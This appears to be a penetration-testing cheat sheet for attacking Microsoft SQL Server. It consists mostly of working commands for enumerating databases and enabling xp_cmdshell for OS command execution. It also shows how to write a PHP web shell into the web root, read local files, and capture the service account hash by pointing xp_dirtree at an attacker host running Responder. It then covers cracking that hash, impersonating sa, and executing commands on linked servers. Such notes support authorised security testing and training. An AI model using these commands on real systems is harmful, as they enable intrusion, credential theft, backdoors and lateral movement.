β«MSSQL
Default system schemas/databases:
master
- keeps the information for an instance of SQL Server.msdb
- used by SQL Server Agent.model
- a template database copied for each new database.resource
- a read-only database that keeps system objects visible in every database on the server in sys schema.tempdb
- keeps temporary objects for SQL queries.
Enumeration
Basic Nmap scan to grab the banner of the SQL server
1433 - MSSQL
nmap -Pn -sVC -p 1433 IP
Misconfigurations
This can allow access to the service without credentials if anonymous access is enabled.
Other common problems with how privileges are set may enable us to perform an action such as:
Read or change the contents of the DB
Read or change server configuration
Execute commands
Read local files
Capture the local system hash
Reading the Database
# Windows
sqlcmd -S SRVMSSQL -U user -P 'pPasword1!' -y 30 -Y 3
# Linux
sqsh -S IP -U user -P 'pPasword1!' -h
With Windows authentication we need to specify the domain name or the hostname or our target otherwise it will assume SQL authentication and authenticate against the users in the SQL server.
If we want to target a local account we use
SERVERNAME\\accountname
or.\\accountname
sqsh -S IP -U .\\accountname -P 'Password1!' -h
-h
Cleaner output by disabling headers and footers
We can also use Impacket's suite of tools
mssqlclient.py -p 1433 user@IP
SELECT name FROM master.dbo.sysdatabases
name
--------------------------------------------------
master
tempdb
model
msdb
users
USE users
SELECT table_name FROM users.INFORMATION_SCHEMA.TABLES
SELECT * FROM users
Command Execution
If we have appropriate privileges we can use the SQL database to execute system commands
XP_CMDSHELL
Allows us to execute system commands using SQL, disabled by default but can be enabled using the Policy-Based Management or executing sp_configure
xp_cmdshell 'whoami'
output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)
We can run any system command meaning we can list directories and read files
xp_cmdshell "type C:\Users"
xp_cmdshell "type C:\Users\Administrator\Desktop\secret.txt"
Enable xp_cmdshell
-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1
-- To update the currently configured value for advanced options.
RECONFIGURE
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1
-- To update the currently configured value for this feature.
RECONFIGURE
Writing Local Files
We have to enable Ole Automation Procedures
Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
Read Local Files
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Capture MSSQL Service Hash
We can attempt to steal the MSSQL service hash using xp_subdirs
or xp_diretree
stored procedures. They both use SMB protocols to retrieve a list of child directories under a parent directory in the file system.
To make these work start Responder or Impacket first
XP_DIRETREE Hash Stealing
EXEC master..xp_dirtree '\\ATTACKING-IP\share\'
XP_SUBDIRS Hash Stealing
EXEC master..xp_subdirs '\\ATTACKING-IP\share\'
XP_SUBDIRS Hash Stealing Continues
Responder
sudo responder -I tun0
Impacket
sudo impacket-smbserver share ./ -smb2support
We now to try to crack the hash or attempt to "Pass the Hash"
hashcat -m 5600 hash.txt pass.txt
Impersonate Existing Users
IMPERSONATE
allows us to take on the permissions of another user or log in.
First, we must identify users that we can impersonate. By default sysadmin
can impersonate anyone
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
Next, we check if the current user has the sysadmin
role
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
If 0 is returned then we do not have the role but we can impersonate the sa
role.
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Communicate with Other Databases
We can use a Linked server to execute an SQL statement that includes tables in another instance of SQL.
This may allow us lateral movement to that database in that server. Admins can configure a linked server using credentials from the remote server. If the credentials have sufficient (sa)
privileges then we may be able to execute commands in the remote SQL instance.
SELECT srvname, isremote FROM sysservers
srvname isremote
----------------------------------- --------
DESKTOP-WIN10\SQLEXPRESS 1
LINKED-SRV 0
(2 rows affected)
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT LINKED-SRV ]
EXECUTE('xp_cmdshell "whoami"') AT [LINKED-SRV]
EXECUTE('xp_cmdshell "dir C:"') AT [LINKED-SRV]
Last updated
Was this helpful?